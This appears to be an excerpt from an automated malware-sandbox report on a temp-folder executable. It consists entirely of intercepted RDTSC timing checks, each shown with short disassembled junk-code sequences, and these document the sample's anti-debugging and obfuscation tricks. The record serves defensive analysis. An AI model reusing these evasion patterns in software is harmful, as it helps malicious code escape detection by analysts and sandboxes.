Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3ACC second address: 10A3B13 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB16943CC96h 0x00000008 jmp 00007FB16943CC9Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007FB16943CC9Dh 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB16943CCA1h 0x0000001f jmp 00007FB16943CC9Ch 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3DBF second address: 10A3DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3DC7 second address: 10A3DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB16943CCA1h 0x00000011 popad 0x00000012 popad 0x00000013 je 00007FB16943CCA4h 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3DF0 second address: 10A3DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3F3E second address: 10A3F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FB16943CC9Eh 0x0000000d pop edi 0x0000000e pushad 0x0000000f push edi 0x00000010 jns 00007FB16943CC96h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3F5F second address: 10A3F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FB168B06446h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A40C3 second address: 10A40CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A4246 second address: 10A425D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06453h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A43D1 second address: 10A43D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A43D5 second address: 10A43EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06455h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A43EE second address: 10A4402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jbe 00007FB16943CC98h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A4402 second address: 10A4417 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB168B06457h 0x00000008 jmp 00007FB168B0644Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A826C second address: 10A8270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A8270 second address: 10A828B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06455h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10AB838 second address: 10AB873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB16943CC96h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FB16943CCA7h 0x00000011 pop ecx 0x00000012 push ebx 0x00000013 jo 00007FB16943CC96h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB16943CC9Bh 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B031C second address: 10B0351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Ch 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FB168B0645Ah 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B0351 second address: 10B0367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CCA2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B0C3C second address: 10B0C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B0C45 second address: 10B0C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B0C4B second address: 10B0C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B41A4 second address: 10B41B8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB16943CC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FB16943CC96h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B3ACC second address: 10B3AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B3AD0 second address: 10B3AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B3EBC second address: 10B3EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB168B06446h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B3EC6 second address: 10B3EE1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB16943CC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FB16943CC9Ah 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B3EE1 second address: 10B3EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B3EE5 second address: 10B3F11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB16943CC9Fh 0x0000000b jbe 00007FB16943CCABh 0x00000011 jmp 00007FB16943CC9Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B881B second address: 10B881F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B881F second address: 10B8825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B8825 second address: 10B885A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB168B0644Dh 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FB168B06452h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B885A second address: 10B885E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B89BA second address: 10B89BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B89BE second address: 10B89D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB16943CC9Bh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B89D3 second address: 10B89D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B8CDB second address: 10B8CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B8E50 second address: 10B8E7E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB168B06446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007FB168B0644Ah 0x00000012 pop esi 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 jnl 00007FB168B06446h 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007FB168B06446h 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068B46 second address: 1068B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068B4A second address: 1068BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jmp 00007FB168B0644Eh 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FB168B06448h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e ja 00007FB168B06448h 0x00000034 sub dword ptr [ebp+12454584h], ecx 0x0000003a push 00000004h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007FB168B06448h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 push eax 0x00000057 push edi 0x00000058 push eax 0x00000059 push edx 0x0000005a push edi 0x0000005b pop edi 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B929D second address: 10B92BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CCA2h 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B92BA second address: 10B92C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B92C4 second address: 10B92C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10B9C9A second address: 10B9CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C0089 second address: 10C008D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C095C second address: 10C0960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C0C69 second address: 10C0C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C0C71 second address: 10C0C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FB168B06446h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C0C7E second address: 10C0CA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA3h 0x00000007 ja 00007FB16943CC96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C0CA1 second address: 10C0CB1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FB168B06446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10C1792 second address: 10C1797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1017C93 second address: 1017C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB168B06446h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10CAAA5 second address: 10CAAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10CAAAB second address: 10CAAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10CAAAF second address: 10CAAC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FB16943CC9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10CAC2A second address: 10CAC34 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB168B0644Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10CC78E second address: 10CC7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007FB16943CC9Bh 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10CC7A7 second address: 10CC7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D455B second address: 10D456F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 js 00007FB16943CC96h 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D456F second address: 10D4579 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB168B06446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4579 second address: 10D457F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D457F second address: 10D458B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jne 00007FB168B06446h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4862 second address: 10D4866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4D95 second address: 10D4DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB168B06446h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB168B0644Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4DAE second address: 10D4DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4DB2 second address: 10D4DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB168B0644Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4F26 second address: 10D4F4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnp 00007FB16943CC96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FB16943CCA3h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4F4C second address: 10D4F5C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnp 00007FB168B06446h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4F5C second address: 10D4F78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB16943CCA2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D4F78 second address: 10D4F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D50CF second address: 10D50D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D50D4 second address: 10D50F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB168B06459h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D5FCD second address: 10D5FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10D5FD5 second address: 10D5FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DC028 second address: 10DC02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DC02E second address: 10DC034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DC034 second address: 10DC050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB16943CC96h 0x0000000a popad 0x0000000b jmp 00007FB16943CCA1h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DC050 second address: 10DC05D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB168B06448h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DC05D second address: 10DC072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007FB16943CC9Ah 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DC072 second address: 10DC0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB168B06459h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FB168B06452h 0x00000012 jmp 00007FB168B06457h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DBBCF second address: 10DBBE7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB16943CC98h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB16943CC9Ah 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10DBBE7 second address: 10DBBED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10EA345 second address: 10EA35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB16943CCA1h 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10EA35E second address: 10EA364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10202C7 second address: 10202CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10ECB7A second address: 10ECB8A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB168B06448h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
